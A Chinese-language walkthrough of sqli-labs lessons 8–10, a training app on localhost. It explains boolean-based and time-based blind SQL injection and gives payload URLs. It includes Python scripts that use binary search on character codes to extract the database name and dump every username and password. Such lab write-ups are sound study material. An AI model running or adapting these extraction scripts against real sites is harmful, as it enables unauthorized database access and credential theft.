sqli-labs less8-10

LESS 8 基于布尔的盲注

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为好几种,本关采用基于布尔的盲注

盲注相关函数:

  • mid(column_name,start[,length])

    1
    2
    3
    4
    5
    6
     select mid(12345,2,3);
    +----------------+
    | mid(12345,2,3) |
    +----------------+
    | 234 |
    +----------------+
  • substr(string, start, length)/substring(string, start, length)

    • 这两个函数的作用和mid函数是相同的
      1
      2
      3
      4
      5
      6
      select substr((select username from users limit 0,1),2);
      +--------------------------------------------------+
      | substr((select username from users limit 0,1),2) |
      +--------------------------------------------------+
      | umb |
      +--------------------------------------------------+
  • Left(string, n)
    • 从左到右截取string的前n位
  • ascii(string)
    • 返回第一个字符的ascii码值
  • ord(string)
    • 若string第一个字符是单字节字符,则作用和ascii函数相同
    • 若其为多字节,则返回如下格式:
      ((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code…]
  • length(string)
    • 返回字符串的长度

回到本关,先输入单引号和双引号进行测试,发现单引号没有返回信息,于是判断参数是被单引号包围,构造payload测试数据库名的第一个字符:

http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1))=1%23

无返回结果,对数据库名的每一个字符都作类似的测试,由于测试量较大,使用脚本来完成测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-8/?id="

def length():
"查询数据库名的长度"
length = 0
while True:
#构造动态参数并用quote函数进行url编码
param = "1' and length(database())="+str(length)+"#"
response = request.urlopen(url + parse.quote(param)).read().decode()
#匹配成功代表长度正确
if (re.search("You are in...........", response)):
return length
#失败则加1继续循环
else:
length += 1

def database():
"查询数据库名"
dbname = ""
for n in range(length()):
#对128个ascii码值进行遍历并构造动态参数
for a in range(128):
param = "1' and ascii(substr(database()," + str(n+1) + "))=" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in...........", response)):
dbname = dbname + chr(a)
break
return dbname

print(database())

输出结果为security
对于函数database()可以采用时间复杂度更低的二分法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def  database():
"查询数据库名"
dbname = ""
for n in range(length()):
a, b = 64, 64
#使用二分法构造动态参数
while True:
b = int(b/2)
param = "1' and ascii(substr(database()," + str(n+1) + "))<" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in...........", response)):
a -= b
else:
param = "1' and ascii(substr(database()," + str(n+1) + "))=" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in...........", response)):
dbname = dbname + chr(a)
break
else:
a += b
return dbname

速度噌的就提上去了,数据结构果然还是要学好
之后我对之前的脚本做了一些修改,使其支持参数化查询,最终的盲注脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-8/?id="

def getLength(value):
"查询数据库名的长度"
length = 0
while True:
#构造动态参数并用quote函数进行url编码
param = "1' and length(" + value + ")="+str(length)+"#"
response = request.urlopen(url + parse.quote(param)).read().decode()
#匹配成功代表长度正确
if (re.search("You are in...........", response)):
return length
#失败则加1继续循环
else:
length += 1

def getName(value):
"查询数据库名"
dbname = ""
for n in range(getLength(value)):
a = 64
b = 64
#使用二分法构造动态参数
while True:
b = int(b/2)
param = "1' and ascii(substr(" + value + "," + str(n+1) + "))<" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in...........", response)):
a -= b
else:
param = "1' and ascii(substr(" + value + "," + str(n+1) + "))=" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in...........", response)):
dbname = dbname + chr(a)
break
else:
a += b
return dbname

print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

输出如下,注入成功:

Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

LESS 9 基于时间的盲注

和上一关不同,第八关只要没有查询到就不会显示“You are in………..”,而本关只要id是有值的就会显示“You are in………..”,没有办法通过页面显示的结果来进行盲注,所以要用到一个特殊的函数sleep(),语法如下:

1
sleep(seconds)        #函数功能即执行延迟seconds秒

还要用到的一个函数

1
if(condition, a, b)        #如果condition成立,则返回a,否则返回b

举个栗子,在本关中构造这样一个payload:

http://localhost/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(3),1)%23

在if函数中,因为1=1当然是成立的,所以执行sleep(3),所以你会看到网页内容大概在3s后才显示出来,如果表达式不成立,网页就会立即显示出来,而1=1的位置则可以放各种表达式

于是,把上一关的脚本稍微改一下就成了本关的盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from urllib import request
from urllib import parse
from time import time

url = "http://localhost/sqli-labs-master/Less-9/?id="

def getLength(value):
"查询value长度"
length = 0
while True:
#构造动态参数并用quote函数进行url编码
param = "1' and if(length("+value+")="+str(length)+",sleep(0.1),1)#"
t = time() #time函数获取当前时间戳
request.urlopen(url + parse.quote(param))
if (time() - t > 0.1): #时间间隔大于0.1代表长度正确
return length
else: #失败则加1继续循环
length += 1

def getName(value):
"查询value名"
dbname = ""
for n in range(getLength(value)):
a = 64
b = 64
#使用二分法构造动态参数
while True:
b = int(b/2)
param = "1' and if(ascii(substr("+value+","+str(n+1)+"))<"+str(a)+",sleep(0.1),1)#"
t = time()
request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
a -= b
else:
param = "1' and if(ascii(substr("+value+","+str(n+1)+"))="+str(a)+",sleep(0.1),1)#"
t = time()
request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
dbname = dbname + chr(a)
break
else:
a += b
return dbname

print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

结果和上一关是一样的

LESS 10 基于时间的盲注(双引号)

题如其名,只要把上一关绕过用的单引号改成双引号就可以盲注成功,这一关源程序和上一关应该就只是单引号双引号的区别而已

脚本请参照第九关